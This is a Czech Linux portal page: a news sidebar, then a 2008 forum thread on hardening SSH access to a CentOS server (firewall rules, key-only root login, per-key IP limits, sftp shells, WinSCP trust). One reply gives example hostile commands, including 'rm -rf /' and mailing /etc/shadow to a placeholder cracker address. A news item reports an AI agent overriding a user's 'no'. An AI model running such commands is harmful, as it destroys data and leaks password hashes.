Vědci z univerzity La Sapienza v Římě vyvinuli systém, který dokáže identifikovat jednotlivce pouze na základě toho, jak narušují signály Wi-Fi. Autoři tuto novou technologii nazvali WhoFi. Na rozdíl od tradičních biometrických systémů, jako jsou skenery otisků prstů a rozpoznávání obličeje, nevyžaduje tato metoda přímý fyzický kontakt ani vizuální vstupy. WhoFi může také sledovat jednotlivce na větší ploše než kamera s pevnou polohou; stačí, je-li k dispozici Wi-Fi síť.
SuperTux (Wikipedie), tj. klasická 2D plošinovka inspirovaná sérií Super Mario, byl vydán v nové verzi 0.7.0. Videoukázka na YouTube. Hrát lze i ve webovém prohlížeči.
Ageless Linux je linuxová distribuce vytvořená jako politický protest proti kalifornskému zákonu o věkovém ověřování uživatelů na úrovni OS (AB 1043). Kromě běžného instalačního obrazu je k dispozici i konverzní skript, který kompatibilní systém označí za Ageless Linux a levné jednodeskové počítače v ceně 12$ s předinstalovaným Ageless Linuxem, které se chystají autoři projektu dávat dětem. Ageless Linux je registrován jako operační
… více »PimpMyGRC upravuje vzhled toolkitu GNU Radio a přidává alternativní barevná témata. Primárním cílem autora bylo pouze vytvořit tmavé prostředí vhodné pro noční práci, nicméně k dispozici je nakonec celá škála barevných schémat včetně možností různých animací a vizuálních efektů (plameny, matrix, bubliny...), které nepochybně posunou uživatelský zážitek na zcela jinou úroveň. Témata jsou skripty v jazyce Python, které nahrazují
… více »GIMP 3.2 byl oficiálně vydán (Mastodon, 𝕏). Přehled novinek v poznámkách k vydání.
FRANK OS je open-source operační systém pro mikrokontrolér RP2350 (s FRANK M2 board) postavený na FreeRTOS, který přetváří tento levný čip na plně funkční počítač s desktopovým uživatelským rozhraním ve stylu Windows 95 se správcem oken, terminálem, prohlížečem souborů a knihovnou aplikací, ovládaný PS/2 myší a klávesnicí, s DVI video výstupem. Otázkou zůstává, zda by 520 KB SRAM stačilo každému 😅.
Administrativa amerického prezidenta Donalda Trumpa by měla dostat zhruba deset miliard dolarů (asi 214 miliard Kč) za zprostředkování dohody o převzetí kontroly nad aktivitami sociální sítě TikTok ve Spojených státech.
Projekt Debian aktualizoval obrazy stabilní větve „Trixie“ (13.4). Shrnuje opravy za poslední dva měsíce, 111 aktualizovaných balíčků a 67 bezpečnostních hlášení. Opravy se týkají mj. chyb v glibc nebo webovém serveru Apache.
Agent umělé inteligence Claude Opus ignoroval uživatelovu odpověď 'ne' na dotaz, zda má implementovat změny kódu, a přesto se pokusil změny provést. Agent si odpověď 'ne' vysvětlil následovně: Uživatel na mou otázku 'Mám to implementovat?' odpověděl 'ne' - ale když se podívám na kontext, myslím, že tím 'ne' odpovídá na to, abych žádal o svolení, tedy myslí 'prostě to udělej, přestaň se ptát'.
Po 8. květnu 2026 už na Instagramu nebudou podporované zprávy opatřené koncovým šifrováním. V chatech, kterých se bude změna týkat, se objeví pokyny o tom, jak si média nebo zprávy z nich stáhnout, pokud si je chcete ponechat.
AbcLinuxu.cz
ITBiz.cz
HDmag.cz
AbcPráce.cz
authorized_keys.
AllowUsers root a tím pádem nemusím uživatelům, u kterých nechci ssh přístup nastavovat prázdnou shell. Dále jsem tam změnil port na 12345. Iptables by v defaultní konfiguraci (CentOS 5) měl zahazovat vše u čeho nemá výjimku, takže jsem pomocí setup vypnul díru pro SSH a potom zkontroloval patřičný soubor /etc/sysconfig/iptables jestli je to správně uložené. Potom jsem pomocí iptables -A INPUT -s xxx.xxx.xxx.xxx -p tcp --destination-port 12345 -j ACCEPT vytvořil díru.
No kdyby to fungovalo, tak bych sem nepsal. Problém je v tom, že firewall propouští naprosto vše. Spuštěný by být měl.
Dále jsem tam změnil port na 12345
Smysl tohoto opatření mi poněkud uniká, ale na toto téma se tu flamovalo už tolikrát a tak intenzivně, že než začnete protestovat, najděte si některou z těch starších diskusí.
ak sa bavime o bezpecnosti, tak moznost povolit root cez ssh by som IMHO vylucil ako prvu vec
A proč to? Protože se to dělá?
sshd démonem, takže tím omezíte útočníkovi prostředky i v případě, že by se snažil napadnout sshd démona samotného (a obejít tak autorizaci klíčem/heslem). Ovšem na druhou stranu je potřeba zvážit to, zda se nebudete někdy potřebovat k počítači připojit odjinud. Pokud máte celkem snadný fyzický přístup k počítači, problém to být nemusí. Pokud je ale ten přístup k hardwaru složitý, neriskoval bych, že z nějakého důvodu nebudu schopen se k serveru připojit z určené IP adresy a tudíž nebudu schopen se serverem dělat nic.
Ovšem na druhou stranu je potřeba zvážit to, zda se nebudete někdy potřebovat k počítači připojit odjinud.
Nebo jestli se ta adresa nezmění a nedozvíte se o tom na poslední chvíli (nebo dokonce až potom). I to už jsem bohužel zažil…
Použití klíče mám určitě v plánu nasadit, ale vzhledem k tomu, že mě honí čas tak to na dobu neurčitou udělám zatím tak.
Ono to není zase tak složité. Základní princip je ten, že na straně klienta vygenerujete pomocí ssh-keygen pár klíčů (např. 'ssh-keygen -t dsa -b 1024') a veřejný (v tomto případě ~/.ssh/id_dsa.pub) pak zkopírujete na server do '~/.ssh/authorized_keys'.
Jak byste ohodnotili "mnou navržený" systém zabezpečení (změna portu, přístup pouze z jedné IP, netriviální heslo) známkou jako ve škole co se bezpečnost týče?
Známkování snad raději ne, spíš slovní hodnocení. Změna portu: k ničemu. Omezení na jednu IP: bezesporu užitečné, ale důkladně bych si rozmyslel možné důsledky. Netriviální heslo: nezbytné.
Co vy osobně považujete za netriviální heslo - příklad?
Tady hodně záleží na tom, co tím heslem chráníte. Pro roota na počítači s možností autentizace heslem přes ssh bych asi použil výstup 'pwgen 12' nebo 'pwgen -s 8'
AllowUsers root) a potom tedy zakázat přihlašování pomocí hesla a povolit přihlášení pouze pomocí klíče. Dále kdosi zde v diskusi říkal, že když tedy použiji klíč, tak se dá někde přímo u toho klíče nastavit přihlášení pouze z jedné konkrétní IP.
Ve zkratce tedy - jak nastavit, aby se bylo možné přihlásit pouze na roota, pouze klíčem a pouze z jedné konkrétní IP (pomocí pravidel u klíčů).
Openssh-server mám ve verzi 4.3p2.
BTW jaký typ klíče bych měl použít - SSH-2 RSA a nebo SSH-2 DSA? Kolik by měl mí bitů?
Díky moc za rady
P.S.: Jak moc je tohle bezpečné? Vy ve mě pěstujete pěknou paranoiu :D
a potom tedy zakázat přihlašování pomocí hesla
pro roota 'PermitRootLogin without-password', obecně
'PasswordAuthentication no'.
Dále kdosi zde v diskusi říkal, že když tedy použiji klíč, tak se dá někde přímo u toho klíče nastavit přihlášení pouze z jedné konkrétní IP.
Na začátek řádku s klíčem přidejte klauzuli from, např.
from="1.2.3.4" ssh-dss AAAAB3NzaC1kc3MAAA...
Blíže viz sshd(8), sekce AUTHORIZED_KEYS FILE FORMAT.
BTW jaký typ klíče bych měl použít - SSH-2 RSA a nebo SSH-2 DSA? Kolik by měl mí bitů?
RSA2 a DSA vyjdou AFAIK nastejno, hlavně ať to není RSA1. Délka pro běžné použití IMHO postačí 1024 bitů.
kde jsem náhodou zahlédl, že autoři důrazně nedoporučují NEpoužívat DSS klíč (dál jsem nečetl proč)
Právě to "proč" bývá v podobných důvodech důležitější než sama informace, že to nedoporučují…
Jak jsem četl dál vaši diskusi, tak mě zaujala zmíňka o HW klíčích. Už jsem něco takového někde viděl, ale můžete mi dát nějaký odkaz na nějaké dobré řešení vhodné právě pro tento účel?
Mám v plánu zkusit některý z USB tokenů od iKey. Praktické zkušenosti s nimi zatím nemám, ale našel jsem článek, podle kterého by měly v Linuxu fungovat hladce.
http://www.chiark.greenend.org.uk/~sgtatham/putty/faq.html#faq-dsa
Díky za info na ten token.
IMHO v tom není rozdíl, protože je to klasické SSH spojení akorát s tím rozdílem, že tohle se zaměřuje pouze na práci se soubory.Ono je to přímo klasické
ssh, jenom je sshd nakonfigurováno tak, aby tyhle příkazy předával ke zpracování nějakému dalšímu programu. Takže implementace té ssh části je ve vašem případě OpenSSH.
Nicméně předpokládám, že pro běžnou práci (uploadování a úpravy produkčních dat) doporučujete vytvořit uživatele s právy pouze pro tyto data, že? ;)Ano. Zvlášť jestli to má být pro někoho dalšího – asi by nebylo dobré nechat běžné uživatele editovat třeba
/etc/passwd, /etc/shadow atd.
uživatel co chce užít služeb SFTP musí být v /etc/sshd_config připsaný v AllowUsers a musí mít validní shellNemusí to být ale plnohodnotný shell, stačí shell pro sftp – Google na dotaz „sftp shell“ určitě něco nabídne.
Nemusí to být ale plnohodnotný shell, stačí shell pro sftp – Google na dotaz „sftp shell“ určitě něco nabídne.
Nejznámější je asi scponly.
rm -rf /, shutdown -h now, sendmail cracker@example.com < /etc/shadow apod. A to „omylem“ udělá jen těžko. Protože nemá WinSCP veřejné zdrojové kódy, nedá se mu samozřejmě věřit tolik jako PuTTY, ale nepovažoval bych ho za nebezpečný. Rozhodně je daleko pravděpodobnější, že si ty soubory smažete nějakým omylem sám… Jinak pokud byste trval na PuTTY a nevadil by vám příkazový řádek, i PuTTY má klienta pro SFTP.
BTW neměl bych na tenhle dotaz založit raději nové vlákno?Raději ne, protože to by byl dotaz na program čistě pro Windows, a to by nemuselo projít
...a pokud vám na datech na klientovi záležíNechtěl jste místo klient napsat server? Takže pokud to shrneme, je to podle vás bezpečná cesta i pro přihlášení pod rootem? WinSCP otevřené kódy má... BTW - Co se dá zkazit příkazem
shutdown -h now? :D
Nechtěl jste místo klient napsat server?Nechtěl. Měl jsem na mysli útok, kdy jedna komunikující strana zneužije nějaké díry v programu a ovládne jej a získá tak možnost spouštět s právy uživatele, který spustil program. A protože jste se ptal na klienta WinSCP, znamenalo by to, že by útočník přes sshd server zneužil případnou chybu ve WinSCP a získal tak kontrolu nad klientským počítačem. Ovšem pokud se s tím WinSCP chcete připojovat jen na vlastní server, měl byste v takovém případě starosti spíš s útočníkem na serveru, než s tím, že se vám snaží ještě přes WinSCP ovládnout klientský počítač. Jinak to celé bylo myšleno spíš žertem. Ale třeba u webu už tenhle princip (kdy je potřeba chránit hlavně server) neplatí, tam musí proti útoku druhé strany být odolný nejen server, ale i prohlížeč. Ale to už je zcela mimo téma.
WinSCP otevřené kódy má...No jo, GPL… Jak jsem přišel na to, že WinSCP patří k těm programům, jejich autor nepovažuje zveřejnění zdrojáků za přínos projektu? Podle Wikipedie byly zdrojáky pod GPL zveřejněny v roce 2003, tak že bych si pamatoval něco z předchozí doby?
Co se dá zkazit příkazem shutdown -h now?Je to celkem dobrý DoS útok – počítač pak přestane poskytovat služby, které by poskytovat měl. Sice to není takový průšvih, jako kdyby vám někdo něco cracknul nebo získal přístup k něčemu, k čemu přístup mít nemá, ale problém je to taky.
Tím mám namysli třeba nějaké mezery v implementaci zabezpečení či samotného přihlašování pomocí klíče, které by nemuselo být tak robustní, jako má PuTTY.Jedině že by WinSCP vyzradil heslo k privátnímu klíči nebo klíč samotný. Jinak „síla“ šifrování nezávisí na klientovi, ta je určená použitým protokolem.
Může být nějaký problém v tom, že vlastníkem souborů, které se budou veřejně přístupné pomocí http, bude root?Web server musí ty soubory vidět, tj. buď musí být pro čtení všem nebo pro skupinu, ve které musí být i uživatel, pod kterým běží server. Jinak pokud to nejsou spustitelné soubory s nastaveným
suid bitem, ničemu nevadí, že je vlastní root.
Jinak to je hodně zajímavý DoS útok, prostě se vypne stroj a oběť má utrum :DPo fyzické likvidaci serveru je to hned druhý nejúčinnější způsob
/home/COMPANY , ssh > 1024 bezi sshd klasicky .. -o povolenie jedinej IPcky na ssh: firewall/tcp wrappers (pripadne oboje) -o root nepovolovat, kym nie je treba: malokedy uzivatel potrebuje vsetky prava,ako ma root -o prihlasovanie pomocou klucov, pripadne silne lokalne heslo ( existuju programy/nastavenia, ktore kontroluju silu hesiel uzivatelov).. a suhlasim s tebou, robit 'bezpecnostne opatrenia' len preto, ze som to niekde pocul, nema zmysel .. otazne je, do akej hlbky clovek chape, ako veci funguju a dokaze sa proti tomu branit .. ja napriklad neviem ako presne funguje sshd (neprogramoval som ho, jeho kody som nikdy nestudoval) a teda neviem, ake (potencionalne) slabe miesta ma .. ale to uz nepatri do tohto prispevku ..
sshd na jiný port, protože na portu 22 už mi běží jiná služba, je sice oprávněné, ale nijak to nesouvisí s původním tématem diskuze. V diskuzi bylo zmíněno přesměrování portu 22 z důvodu (pseudo)zabezpečení, vy ho přesměrováváte kvůli charakteru TCP/IP komunikace, kdy na jednom páru IP adresa:port může naslouchat jen jeden program.
Privátní klíč nemusí být chráněn jenom heslem. Může být uložen na nějakém externím zařízení, které při běžném způsobu používání nevydá privátní klíč, ale jen přijme data k zašifrování a heslo/PIN a vrátí zašifrovaný výsledek.ano, samozrejme je viac variant - ja som chcel len povedat, ze to, ze ak si niekto zabezpeci login len klucom, este to neznamena, ze je to bezpecnejsia cesta ako autentifikacia prostrednictvom hesla.. myslim , ze uz ale nema zmysel dalej toto rozvijat - zbytocne mutit vodu tam, kde netreba .. suhlasim s misovym vyrokom, ze robit na oko zabezpecenie `lebo je to tak spravne` je nezmysel .. autor otazky dostal odpoved na co sa pytal, myslim, ze bude rozmumne to nechat uz tak ..
ja som chcel len povedat, ze to, ze ak si niekto zabezpeci login len klucom, este to neznamena, ze je to bezpecnejsia cesta ako autentifikacia prostrednictvom hesla
Záleží na technickém provedení, ale pokud neuděláte něco postaveného na hlavu, určitě nebude méně bezpečná a téměř jistě bude bezpečnější.
presmerovanie ssh na iny port moze byt dobra vec, ak napriklad na ssh:22 bezi sshd, ktore je chroot-nute len napriklad pre uzivatelov COMPANY v /home/COMPANY , ssh > 1024 bezi sshd klasicky ..
Což je ale něco úplně jiného, než o čem tam i tady byla řeč…
napriek tomu tvrdim, ze nechat root uzivatela povoleneho na ssh nie je dobra volba ..
Je hezké, že to tvrdíte, ale pokud nenapíšete proč, neočekávejte, že tomu budu přikládat nějakou váhu.
tak isto ako nebudem trubit do sveta, ake mam logins na serveri
Neměl byste spíš napsat, že to nebudete vědomě rozhlašovat? :-)
13.3.2008 13:32
MMMMMMMMM | skóre: 44
| blog: unstable
| Valašsko :-)
AllowUsers, pro vyjmenování kdo se odkud může hlásit. Na tohle by to šlo taky použít, i když předchozí rady jsou k tomu vhodnější.
Tiskni
Sdílej:
